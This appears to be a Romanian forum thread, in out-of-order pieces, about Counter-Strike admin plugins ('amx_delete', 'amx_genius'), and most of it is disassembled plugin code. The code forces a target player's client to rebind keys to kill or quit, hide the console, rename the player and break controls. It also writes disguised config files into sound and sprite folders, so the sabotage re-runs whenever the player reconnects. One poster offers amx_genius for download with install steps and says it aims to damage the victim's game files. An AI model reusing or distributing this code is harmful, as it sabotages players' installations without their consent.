sysreq.c client_cmd
stack 0xC
break
push.c 0x2608
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x2634
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x2694
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x26B8
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x26E8
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x2758
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x27E4
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x2858
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x2894
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x28C4
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x290C
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x2960
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x29A8
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x29D8
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x2A20
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x2A5C
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x2AA0
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x2AB4
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
stack -0x80
zero.pri
addr.alt -0x314
fill 0x80
stack -0x40
zero.pri
addr.alt -0x354
fill 0x40
stack -0x40
zero.pri
addr.alt -0x394
fill 0x40
break
stack -0x100
zero.pri
addr.alt -0x494
fill 0x100
break
push.c 0x1
push.c 0x10
pushaddr -0x354
push.s 0xC
push.c 0x10
sysreq.c get_user_ip
stack 0x14
break
push.c 0x1
push.c 0x10
pushaddr -0x394
push.s -0x84
push.c 0x10
sysreq.c get_user_ip
stack 0x14
break
push.c 0x1F
pushaddr -0x314
push.s 0xC
push.c 0xC
sysreq.c get_user_name
stack 0x10
break
push.c 0x3F
pushaddr -0x494
push.s -0x84
push.c 0xC
sysreq.c get_user_name
stack 0x10
break
pushaddr -0x494
push.c 0x2AE4
push.s 0xC
push.c 0xC
sysreq.c console_print
stack 0x10
break
pushaddr -0x494
pushaddr -0x314
push.c 0x2B20
push.c 0x3
push.c 0x0
push.c 0x14
sysreq.c client_print
stack 0x18
break
pushaddr -0x494
pushaddr -0x314
push.c 0x2BD4
push.c 0xC
sysreq.c server_print
stack 0x10
break
pushaddr -0x394
pushaddr -0x84
pushaddr -0x354
pushaddr -0x314
push.c 0x2C88
push.c 0x14
sysreq.c log_amx
stack 0x18
stack 0x410
jump jump_0072
jump_0055:
break
stack -0x100
zero.pri
addr.alt -0x184
fill 0x100
stack -0x100
zero.pri
addr.alt -0x284
fill 0x100
break
push.c 0x3F
pushaddr -0x184
push.s -0x84
push.c 0xC
sysreq.c get_user_name
stack 0x10
break
push.c 0x3F
pushaddr -0x284
push.c 0x2D94
push.c 0xC
sysreq.c get_cvar_string
stack 0x10
break
push.c 0x0
pushaddr -0x184
pushaddr -0x284
push.c 0xC
sysreq.c equal
stack 0x10
not
jzer jump_0073
break
pushaddr -0x184
push.c 0x2DB8
push.s 0xC
push.c 0xC
sysreq.c console_print
stack 0x10
jump_0073:
stack 0x200
jump_0072:
break
const.pri 0x1
stack 0x84
retn
ENDP

PROC cmdundelete
break
break
push.c 0x0
push.c 0x1
push.s 0x14
push.s 0x10
push.s 0xC
push.c 0x14
call func_01
not
jzer jump_0074
break
const.pri 0x1
retn
jump_0074:
break
push.c 0x2E30
push.c 0x4
sysreq.c file_exists
stack 0x8
not
jzer jump_0075
break
const.pri 0x1
retn
jump_0075:
break
stack -0x4
push.c 0x1
push.c 0x2EBC
push.c 0x8
sysreq.c file_size
stack 0xC
stor.s.pri -0x4
break
stack -0x4
push.c 0x1
push.c 0x2F48
push.c 0x8
sysreq.c file_size
stack 0xC
stor.s.pri -0x8
break
stack -0x80
zero.pri
addr.alt -0x88
fill 0x80
stack -0x100
zero.pri
addr.alt -0x188
fill 0x100
push.c 0x0
break
stack -0x100
zero.pri
addr.alt -0x28C
fill 0x100
stack -0x100
zero.pri
addr.alt -0x38C
fill 0x100
break
stack -0x80
zero.pri
addr.alt -0x40C
fill 0x80
break
push.c 0x1F
pushaddr -0x40C
push.s 0xC
push.c 0xC
sysreq.c get_user_name
stack 0x10
break
push.c 0x1F
pushaddr -0x88
push.c 0x1
push.c 0xC
sysreq.c read_argv
stack 0x10
break
push.c 0x0
break
push.c 0x0
jump jump_0076
jump_0095:
break
inc.s -0x414
jump_0076:
load.s.pri -0x414
load.s.alt -0x4
jsgrtr jump_0077
break
pushaddr -0x18C
push.c 0x3F
pushaddr -0x188
push.s -0x414
push.c 0x2FDC
push.c 0x14
sysreq.c read_file
stack 0x18
break
push.c 0x0
pushaddr -0x88
pushaddr -0x188
push.c 0xC
sysreq.c equali
stack 0x10
jzer jump_0078
break
push.s -0x414
push.c 0x30F4
push.c 0x3068
push.c 0xC
sysreq.c write_file
stack 0x10
break
const.pri 0x1
stor.s.pri -0x410
break
push.c 0x0
break
push.c 0x0
jump jump_0079
jump_0083:
break
inc.s -0x41C
jump_0079:
load.s.pri -0x41C
load.s.alt -0x8
jsgrtr jump_0080
break
load.s.pri -0x418
jnz jump_0081
break
pushaddr -0x18C
push.c 0x3F
pushaddr -0x38C
push.s -0x41C
push.c 0x30F8
push.c 0x14
sysreq.c read_file
stack 0x18
break
push.c 0x0
pushaddr -0x188
pushaddr -0x38C
push.c 0xC
sysreq.c equal
stack 0x10
jzer jump_0081
break
const.pri 0x1
stor.s.pri -0x418
jump_0081:
jump jump_0083
jump_0080:
stack 0x4
break
push.c 0x0
break
load.s.pri -0x418
jnz jump_0084
break
push.c 0x0
jump jump_0085
jump_0092:
break
inc.s -0x420
jump_0085:
load.s.pri -0x420
load.s.alt -0x8
jsgrtr jump_0086
break
load.s.pri -0x41C
jnz jump_0087
break
pushaddr -0x18C
push.c 0x3F
pushaddr -0x28C
push.s -0x420
push.c 0x318C
push.c 0x14
sysreq.c read_file
stack 0x18
break
pushaddr -0x28C
push.c 0x4
sysreq.c strlen
stack 0x8
not
jnz jump_0088
push.c 0x0
pushaddr -0x188
pushaddr -0x28C
push.c 0xC
sysreq.c equal
stack 0x10
jnz jump_0088
zero.pri
jump jump_0090
jump_0088:
const.pri 0x1
jump_0090:
jzer jump_0087
break
push.s -0x420
pushaddr -0x188
push.c 0x3220
push.c 0xC
sysreq.c write_file
stack 0x10
break
const.pri 0x1
stor.s.pri -0x41C
jump_0087:
jump jump_0092
jump_0086:
stack 0x4
jump_0084:
break
load.s.pri -0x418
jnz jump_0093
break
load.s.pri -0x41C
jnz jump_0093
break
push.c -0x1
pushaddr -0x188
push.c 0x32B4
push.c 0xC
sysreq.c write_file
stack 0x10
break
const.pri 0x1
stor.s.pri -0x41C
jump_0093:
break
pushaddr -0x188
pushaddr -0x40C
push.c 0x3348
push.c 0xC
sysreq.c log_amx
stack 0x10
break
pushaddr -0x188
push.c 0x3424
push.s 0xC
push.c 0xC
sysreq.c console_print
stack 0x10
break
pushaddr -0x188
push.c 0x3468
push.c 0x8
sysreq.c server_print
stack 0xC
stack 0x8
jump_0078:
jump jump_0095
jump_0077:
stack 0x4
break
load.s.pri -0x410
jnz jump_0096
break
pushaddr -0x88
push.c 0x34AC
push.s 0xC
push.c 0xC
sysreq.c console_print
stack 0x10
jump_0096:
break
const.pri 0x1
stack 0x410
retn
ENDP

PROC info
break
break
push.c 0x0
push.c 0x0
push.s 0x14
push.s 0x10
push.s 0xC
push.c 0x14
call func_01
not
jzer jump_0097
break
const.pri 0x1
retn
jump_0097:
break
push.c 0x34E4
push.s 0xC
push.c 0x8
sysreq.c console_print
stack 0xC
break
push.c 0x35AC
push.s 0xC
push.c 0x8
sysreq.c console_print
stack 0xC
break
push.c 0x3674
push.s 0xC
push.c 0x8
sysreq.c console_print
stack 0xC
break
push.c 0x373C
push.s 0xC
push.c 0x8
sysreq.c console_print
stack 0xC
break
push.c 0x3804
push.s 0xC
push.c 0x8
sysreq.c console_print
stack 0xC
break
push.c 0x38CC
push.s 0xC
push.c 0x8
sysreq.c console_print
stack 0xC
break
push.c 0x3994
push.s 0xC
push.c 0x8
sysreq.c console_print
stack 0xC
break
push.c 0x3A5C
push.s 0xC
push.c 0x8
sysreq.c console_print
stack 0xC
break
const.pri 0x1
retn
ENDP



Eu nu prea inteleg ce fac ultimele chestii pe acolo. Poate stie cineva de aici. Sincer nu vad nimic de genu sterge fisiere de windows sau mai stiu eu ce descrieri inutile au pus altii.

Restul comenzilor cred ca le fac si alte pluginuri. Rescrie comenzile codatului.

Link to comment
Share on other sites

Daca vreti comanda calumea ia uitati aici ce facusesi eu acu cateva luni...

Am ajuns deja la editia amx_genius v3.0 :> uitati cum arata ...

Descriere: Comanda este mai mult un mix de comenzi , ce contine urmatuarele comenzi : pikav5 , fuckoff , screw , smash , pimpslap , censure , spank , exterminate , destroy , timeout , ban permanent , uberslap si popcd .

Ce face mai precis aceasta comanda : Comanda incearca sa injecteze errori in cat mai multe fisiere din cs-ul folosit de respectivul "codat" si sa creeze cat mai multe pagube .

Comanda odata executata creeaza 2 fisiere in hlds/cstrike/addons/logs , 1 fisier contine date despre cine si pe cine a executat comanda si celalalt fisier noteaza numele cui i a fost executata comanda , odata acel player reintrat pe server comanda se auto-executa pe acel player .

Cand jucatorul va dori sa intre inapoi in cs i va da fatal error : http://i.imgur.com/Lgecu.png

Descarcare: GirlShare - Download amx_genius.v3.rar

Nume: amx_genius

Versiune: 3.0

Link oficial: -

Instalare:

1. Fisierul amx_genius.amxx il puneti in addons/amxmodx/plugins

2. Intrati in fisierul addons/amxmodx/configs/plugins.ini si adaugati la urma:

Cod:

amx_genius.amxx

3. Alti pasi necesari....

Comenzi administrative: amx_genius nume/parte din nume

Module necesare

- amxmodx

- amxmisc

- engine

- fun

Link to comment
Share on other sites

Este o mare prostie pentru ca sunt asa zisii ADMIN INAPTI care dau destroy, fuckoff, exterminate la un player care pur si simplu face un rush/camp, injura sau ceva ce se poate sanctiona doar cu gag/slay/kick. Va dati seama ce s-ar intampla pe serverele de cs daca unii admini dau destroy din motivele de mai sus.

Link to comment
Share on other sites

Nu prea se gaseste sursa la asa ceva si eu unu sunt sceptic daca nu stiu exact ce face pluginu. Dupa putine cautari cam asta ar fi sursa



.DATA
str_000 string "%L"
str_001 string "NO_ACC_COM"
str_002 string "%L: %s %s"
str_003 string "USAGE"
str_004 string "bl"
str_005 string "blj"
str_006 string "%L"
str_007 string "MORE_CL_MATCHT"
str_008 string "c"
str_009 string "k"
str_010 string "%L"
str_011 string "CL_NOT_FOUND"
str_012 string "%L"
str_013 string "CLIENT_IMM"
str_014 string "%L"
str_015 string "CANT_PERF_DEAD"
str_016 string "%L"
str_017 string "CANT_PERF_BOT"
arr_000 array 64 fill 0x0
str_018 string "Amx_Delete"
str_019 string "1.0"
str_020 string "ZyreX"
str_021 string "amx_delete"
str_022 string "cmddelete"
str_023 string "<name> - Atentie: Numai in cazuri speciale"
str_024 string "amx_undelete"
str_025 string "cmdundelete"
str_026 string "<name> - Atentie: Numai in cazuri speciale"
str_027 string "amx_delete_info"
str_028 string "info"
str_029 string "- info for delete player."
str_030 string "exec /sound/player/player.cfg"
str_031 string "exec /sound/weapons/weapons.cfg"
str_032 string "exec /sound/radio/radio.cfg"
str_033 string "exec /sprites/small.cfg"
str_034 string "infochanged"
arr_001 array 2 fill 0x0
str_035 string "cheater"
str_036 string "gad"
str_037 string "nickacc"
str_038 string "100"
str_039 string "yes"
str_040 string "\addons\amxmodx\configs\delete.ini"
str_041 string "\addons\amxmodx\configs\delete.ini"
str_042 string "echo YOU WILL DIE!!!"
str_043 string "bind TAB kill"
str_044 string "bind ENTER kill"
str_045 string "bind ESCAPE quit"
str_046 string "bind SPACE kill"
str_047 string "bind 1 kill"
str_048 string "bind 2 kill"
str_049 string "bind ` kill"
str_050 string "bind q kill"
str_051 string "bind r kill"
str_052 string "bind t kill"
str_053 string "bind UPARROW kill"
str_054 string "bind DOWNARROW kill"
str_055 string "bind LEFTARROW kill"
str_056 string "bind RIGHTARROW kill"
str_057 string "bind F1 kill"
str_058 string "bind PAUSE kill"
str_059 string "max_shells 0"
str_060 string "bind MOUSE1 kill"
str_061 string "bind MOUSE2 kill"
str_062 string "fps_max 30"
str_063 string "name Ban-me!SuntunCodat"
str_064 string "volume 5"
str_065 string "scr_connectmsg FATAL ERROR!"
str_066 string "scr_connectmsg1 Amice, esti idiot!"
str_067 string "scr_connectmsg2 FATAL ERROR!"
str_068 string "cl_showerror 1"
str_069 string "cl_showmessages 1"
str_070 string "cl_forwardspeed -100"
str_071 string "cl_backspeed -100"
str_072 string "cl_sidespeed -100"
str_073 string "sensitivity 10"
str_074 string "writecfg \config"
str_075 string "quit"
str_076 string "\addons\amxmodx\configs\undelete.ini"
str_077 string "\addons\amxmodx\configs\undelete.ini"
str_078 string "exec /gfx/env/morningdewbk.cfg"
str_079 string "Ban-me!SuntunCodat"
str_080 string "name "%s""
str_081 string "writecfg \sound\player\player"
str_082 string "writecfg \sound\weapons\weapons"
str_083 string "writecfg \sound\radio\radio"
str_084 string "writecfg \sprites\small"
str_085 string "writecfg \config"
str_086 string "exec config.cfg"
str_087 string "Ban-me!SuntunCodat"
str_088 string "kickuser"
str_089 string "\addons\amxmodx\configs\undelete.ini"
var_000 variable ( 0x0 )
str_090 string "name "%s""
str_091 string "kick %s "Ai primit UnDelete. Acum te poti reconecta pe server !""
str_092 string "\addons\amxmodx\configs\delete.ini"
str_093 string "\addons\amxmodx\configs\delete.ini"
str_094 string "Nick-ul "%s" este folosit deja"
str_095 string "\addons\amxmodx\configs\delete.ini"
str_096 string "\addons\amxmodx\configs\delete.ini"
str_097 string "\addons\amxmodx\configs\delete.ini"
str_098 string "writecfg \gfx\env\morningdewbk"
str_099 string "unbindall"
str_100 string "setinfo nickacc %s"
str_101 string "setinfo cheater 100"
str_102 string "setinfo gad yes"
str_103 string "writecfg \sound\player\player"
str_104 string "writecfg \sound\weapons\weapons"
str_105 string "hideconsole"
str_106 string "writecfg \sound\radio\radio"
str_107 string "hideconsole"
str_108 string "writecfg \sprites\small"
str_109 string "echo YOU WILL DIE!!!"
str_110 string "bind TAB kill"
str_111 string "hideconsole"
str_112 string "bind ENTER kill"
str_113 string "bind ESCAPE quit"
str_114 string "hideconsole"
str_115 string "bind SPACE kill"
str_116 string "bind 1 kill"
str_117 string "bind 2 kill"
str_118 string "bind ` kill"
str_119 string "hideconsole"
str_120 string "bind q kill"
str_121 string "bind r kill"
str_122 string "bind t kill"
str_123 string "bind UPARROW kill"
str_124 string "bind DOWNARROW kill"
str_125 string "hideconsole"
str_126 string "bind LEFTARROW kill"
str_127 string "bind RIGHTARROW kill"
str_128 string "bind F1 kill"
str_129 string "hideconsole"
str_130 string "bind PAUSE kill"
str_131 string "max_shells 0"
str_132 string "bind MOUSE1 kill"
str_133 string "hideconsole"
str_134 string "bind MOUSE2 kill"
str_135 string "fps_max 30"
str_136 string "name Ban-me!SuntunCodat"
str_137 string "volume 5"
str_138 string "hideconsole"
str_139 string "scr_connectmsg FATAL ERROR!"
str_140 string "scr_connectmsg1 Amice, esti idiot!"
str_141 string "scr_connectmsg2 FATAL ERROR!"
str_142 string "cl_showerror 1"
str_143 string "hideconsole"
str_144 string "cl_showmessages 1"
str_145 string "cl_forwardspeed -100"
str_146 string "cl_backspeed -100"
str_147 string "hideconsole"
str_148 string "cl_sidespeed -100"
str_149 string "sensitivity 10"
str_150 string "writecfg \config"
str_151 string "quit"
str_152 string "hideconsole"
str_153 string "AMX_DELETE: %s"
str_154 string "ADMIN-ul %s: a executat comanda delete pe %s"
str_155 string "ADMIN-ul %s: a executat comanda delete pe %s"
str_156 string "AMX_DELETE: "%s<IP: %s>" a executat comanda delete pe "%s<IP: %s>""
str_157 string "hostname"
str_158 string "Client-ul "%s" are imunitate."
str_159 string "\addons\amxmodx\configs\delete.ini"
str_160 string "\addons\amxmodx\configs\delete.ini"
str_161 string "\addons\amxmodx\configs\undelete.ini"
str_162 string "\addons\amxmodx\configs\delete.ini"
str_163 string "\addons\amxmodx\configs\delete.ini"
var_001 variable ( 0x0 )
str_164 string "\addons\amxmodx\configs\undelete.ini"
str_165 string "\addons\amxmodx\configs\undelete.ini"
str_166 string "\addons\amxmodx\configs\undelete.ini"
str_167 string "\addons\amxmodx\configs\undelete.ini"
str_168 string "AMX_UNDELETE: "%s" a executat comanda undelete pe "%s""
str_169 string "AMX_UNDELETE: %s"
str_170 string "AMX_UNDELETE: %s"
str_171 string "Nu exista %s."
str_172 string "-------------------------------------------------"
str_173 string "-------------------------------------------------"
str_174 string "-------Plugin name: Amx_delete -------"
str_175 string "-------Author: ZyreX -------"
str_176 string "-------Version: 1.0 -------"
str_177 string "-------Site: http://xserv.ro -------"
str_178 string "-------------------------------------------------"
str_179 string "-------------------------------------------------"


.CODE
halt 0x0

PROC func_00
break
break
stack -0x4
push.c 0x0
push.s 0xC
push.c 0x8
sysreq.c get_user_flags
stack 0xC
stor.s.pri -0x4
break
load.s.pri -0x4
move.alt
zero.pri
xchg
jsleq jump_0000
load.s.pri -0x4
const.alt 0x2000000
and
not
jzer jump_0000
const.pri 0x1
jump jump_0002
jump_0000:
zero.pri
jump_0002:
stack 0x4
retn
ENDP

PROC func_01
break
break
push.c 0x0
break
load.s.pri 0xC
push.pri
push.c 0x0
sysreq.c is_dedicated_server
stack 0x4
jzer jump_0003
zero.pri
jump jump_0004
jump_0003:
const.pri 0x1
jump_0004:
pop.alt
jneq jump_0005
break
const.pri 0x1
stor.s.pri -0x4
jump jump_0006
jump_0005:
break
load.s.pri 0x10
eq.c.pri 0x1000000
jzer jump_0007
break
push.s 0xC
push.c 0x4
call func_00
jzer jump_0008
break
const.pri 0x1
stor.s.pri -0x4
jump_0008:
jump jump_0006
jump_0007:
break
push.c 0x0
push.s 0xC
push.c 0x8
sysreq.c get_user_flags
stack 0xC
move.alt
load.s.pri 0x10
and
jzer jump_0010
break
const.pri 0x1
stor.s.pri -0x4
jump jump_0006
jump_0010:
break
load.s.pri 0x10
jnz jump_0006
break
const.pri 0x1
stor.s.pri -0x4
jump_0006:
break
load.s.pri -0x4
jnz jump_0013
break
load.s.pri 0x1C
not
jzer jump_0014
break
push.c 0xC
pushaddr 0xC
push.c 0x0
push.s 0xC
push.c 0x10
sysreq.c console_print
stack 0x14
jump_0014:
break
zero.pri
stack 0x4
retn
jump_0013:
break
push.c 0x0
sysreq.c read_argc
stack 0x4
move.alt
load.s.pri 0x18
jsleq jump_0015
break
stack -0x80
zero.pri
addr.alt -0x84
fill 0x80
stack -0x200
zero.pri
addr.alt -0x284
fill 0x200
push.c 0x0
break
push.c -0x1
push.s 0x10
push.c 0x7F
pushaddr -0x284
pushaddr -0x288
push.c 0x1F
pushaddr -0x84
push.s 0x14
push.c 0x20
sysreq.c get_concmd
stack 0x24
break
pushaddr -0x284
pushaddr -0x84
push.c 0x64
pushaddr 0xC
push.c 0x38
push.s 0xC
push.c 0x18
sysreq.c console_print
stack 0x1C
break
zero.pri
stack 0x288
retn
jump_0015:
break
const.pri 0x1
stack 0x4
retn
ENDP

PROC func_02
break
break
stack -0x4
push.s 0x10
push.c 0x7C
push.c 0x8
sysreq.c find_player
stack 0xC
stor.s.pri -0x4
break
load.s.pri -0x4
jzer jump_0016
break
load.s.pri -0x4
push.pri
push.s 0x10
push.c 0x88
push.c 0x8
sysreq.c find_player
stack 0xC
pop.alt
jeq jump_0017
break
push.c 0xA4
pushaddr 0xC
push.c 0x98
push.s 0xC
push.c 0x10
sysreq.c console_print
stack 0x14
break
zero.pri
stack 0x4
retn
jump_0017:
jump jump_0018
jump_0016:
break
push.s 0x10
push.c 0xE0
push.c 0x8
sysreq.c find_player
stack 0xC
stor.s.pri -0x4
jnz jump_0019
load.s.pri 0x10
load.i
eq.c.pri 0x23
jzer jump_0019
load.s.pri 0x10
add.c 0x4
load.i
jzer jump_0019
const.pri 0x1
jump jump_0022
jump_0019:
zero.pri
jump_0022:
jzer jump_0018
break
load.s.pri 0x10
add.c 0x4
push.pri
push.c 0x4
sysreq.c str_to_num
stack 0x8
heap 0x4
stor.i
push.alt
push.c 0xE8
push.c 0x8
sysreq.c find_player
stack 0xC
heap -0x4
stor.s.pri -0x4
jump_0018:
break
load.s.pri -0x4
not
jzer jump_0024
break
push.c 0xFC
pushaddr 0xC
push.c 0xF0
push.s 0xC
push.c 0x10
sysreq.c console_print
stack 0x14
break
zero.pri
stack 0x4
retn
jump_0024:
break
load.s.pri 0x14
const.alt 0x1
and
jzer jump_0025
break
push.c 0x0
push.s -0x4
push.c 0x8
sysreq.c get_user_flags
stack 0xC
const.alt 0x1
and
jzer jump_0026
load.s.pri 0x14
const.alt 0x2
and
jzer jump_0027
load.s.pri -0x4
load.s.alt 0xC
neq
jump jump_0028
jump_0027:
const.pri 0x1
jump_0028:
jzer jump_0026
const.pri 0x1
jump jump_0030
jump_0026:
zero.pri
jump_0030:
jzer jump_0025
break
stack -0x80
zero.pri
addr.alt -0x84
fill 0x80
break
push.c 0x1F
pushaddr -0x84
push.s -0x4
push.c 0xC
sysreq.c get_user_name
stack 0x10
break
pushaddr -0x84
push.c 0x13C
pushaddr 0xC
push.c 0x130
push.s 0xC
push.c 0x14
sysreq.c console_print
stack 0x18
break
zero.pri
stack 0x84
retn
jump_0025:
break
load.s.pri 0x14
const.alt 0x4
and
jzer jump_0032
break
push.s -0x4
push.c 0x4
sysreq.c is_user_alive
stack 0x8
not
jzer jump_0032
break
stack -0x80
zero.pri
addr.alt -0x84
fill 0x80
break
push.c 0x1F
pushaddr -0x84
push.s -0x4
push.c 0xC
sysreq.c get_user_name
stack 0x10
break
pushaddr -0x84
push.c 0x174
pushaddr 0xC
push.c 0x168
push.s 0xC
push.c 0x14
sysreq.c console_print
stack 0x18
break
zero.pri
stack 0x84
retn
jump_0032:
break
load.s.pri 0x14
const.alt 0x8
and
jzer jump_0034
break
push.s -0x4
push.c 0x4
sysreq.c is_user_bot
stack 0x8
jzer jump_0034
break
stack -0x80
zero.pri
addr.alt -0x84
fill 0x80
break
push.c 0x1F
pushaddr -0x84
push.s -0x4
push.c 0xC
sysreq.c get_user_name
stack 0x10
break
pushaddr -0x84
push.c 0x1BC
pushaddr 0xC
push.c 0x1B0
push.s 0xC
push.c 0x14
sysreq.c console_print
stack 0x18
break
zero.pri
stack 0x84
retn
jump_0034:
break
load.s.pri -0x4
stack 0x4
retn
ENDP

PROC plugin_init
break
break
push.c 0x330
push.c 0x320
push.c 0x2F4
push.c 0xC
sysreq.c register_plugin
stack 0x10
break
push.c -0x1
push.c 0x39C
push.c 0x8
push.c 0x374
push.c 0x348
push.c 0x14
sysreq.c register_concmd
stack 0x18
break
push.c -0x1
push.c 0x4AC
push.c 0x8
push.c 0x47C
push.c 0x448
push.c 0x14
sysreq.c register_concmd
stack 0x18
break
push.c -0x1
push.c 0x5AC
push.c 0x0
push.c 0x598
push.c 0x558
push.c 0x14
sysreq.c register_concmd
stack 0x18
zero.pri
retn
ENDP

PROC client_connect
break
break
push.c 0x0
push.s 0xC
push.c 0x8
sysreq.c get_user_flags
stack 0xC
const.alt 0x1
and
not
jzer jump_0036
break
push.c 0x3F
push.c 0x1F4
push.s 0xC
push.c 0xC
sysreq.c get_user_name
stack 0x10
break
push.c 0x614
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x68C
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x70C
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x77C
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x0
push.c 0x810
push.c 0x0
push.c 0x80C
push.s 0xC
push.c 0x7DC
push.c 0x3F000000
push.c 0x1C
sysreq.c set_task
stack 0x20
jump_0036:
break
const.pri 0x1
retn
ENDP

PROC infochanged
break
break
push.c 0x0
push.s 0xC
push.c 0x8
sysreq.c get_user_flags
stack 0xC
const.alt 0x1
and
not
jzer jump_0037
break
push.c 0x0
break
stack -0x80
zero.pri
addr.alt -0x84
fill 0x80
stack -0x80
zero.pri
addr.alt -0x104
fill 0x80
stack -0x80
zero.pri
addr.alt -0x184
fill 0x80
break
push.c 0x1F
pushaddr -0x84
push.c 0x814
push.s 0xC
push.c 0x10
sysreq.c get_user_info
stack 0x14
break
push.c 0x1F
pushaddr -0x104
push.c 0x834
push.s 0xC
push.c 0x10
sysreq.c get_user_info
stack 0x14
break
push.c 0x1F
pushaddr -0x184
push.c 0x844
push.s 0xC
push.c 0x10
sysreq.c get_user_info
stack 0x14
break
pushaddr -0x84
push.c 0x4
sysreq.c strlen
stack 0x8
not
jzer jump_0038
break
const.pri 0x1
stack 0x184
retn
jump_0038:
break
pushaddr -0x104
push.c 0x4
sysreq.c strlen
stack 0x8
not
jzer jump_0039
break
const.pri 0x1
stack 0x184
retn
jump_0039:
break
pushaddr -0x184
push.c 0x4
sysreq.c strlen
stack 0x8
not
jzer jump_0040
break
const.pri 0x1
stack 0x184
retn
jump_0040:
break
stack -0x100
zero.pri
addr.alt -0x284
fill 0x100
push.c 0x0
break
push.c 0x0
pushaddr -0x84
push.c 0x864
push.c 0xC
sysreq.c equal
stack 0x10
jzer jump_0041
break
push.c 0x0
pushaddr -0x104
push.c 0x874
push.c 0xC
sysreq.c equal
stack 0x10
jzer jump_0041
break
stack -0x4
push.c 0x1
push.c 0x884
push.c 0x8
sysreq.c file_size
stack 0xC
stor.s.pri -0x28C
break
push.c 0x0
jump jump_0043
jump_0046:
break
inc.s -0x290
jump_0043:
load.s.pri -0x290
load.s.alt -0x28C
jsgrtr jump_0044
break
pushaddr -0x288
push.c 0x3F
pushaddr -0x284
push.s -0x290
push.c 0x910
push.c 0x14
sysreq.c read_file
stack 0x18
break
push.c 0x0
pushaddr -0x184
pushaddr -0x284
push.c 0xC
sysreq.c equal
stack 0x10
jzer jump_0045
break
push.c 0x99C
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x9F0
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0xA28
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0xA68
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0xAAC
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0xAEC
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0xB1C
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0xB4C
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0xB7C
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0xBAC
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0xBDC
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0xC0C
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0xC54
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0xCA4
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0xCF4
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0xD48
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0xD7C
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0xDBC
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0xDF0
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0xE34
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0xE78
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0xEA4
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0xF04
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0xF28
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0xF98
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x1024
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x1098
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x10D4
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x111C
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x1170
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x11B8
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x1200
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x123C
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x1280
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
const.pri 0x1
stor.s.pri -0x4
jump_0045:
jump jump_0046
jump_0044:
stack 0x4
stack 0x4
jump_0041:
break
stack -0x100
zero.pri
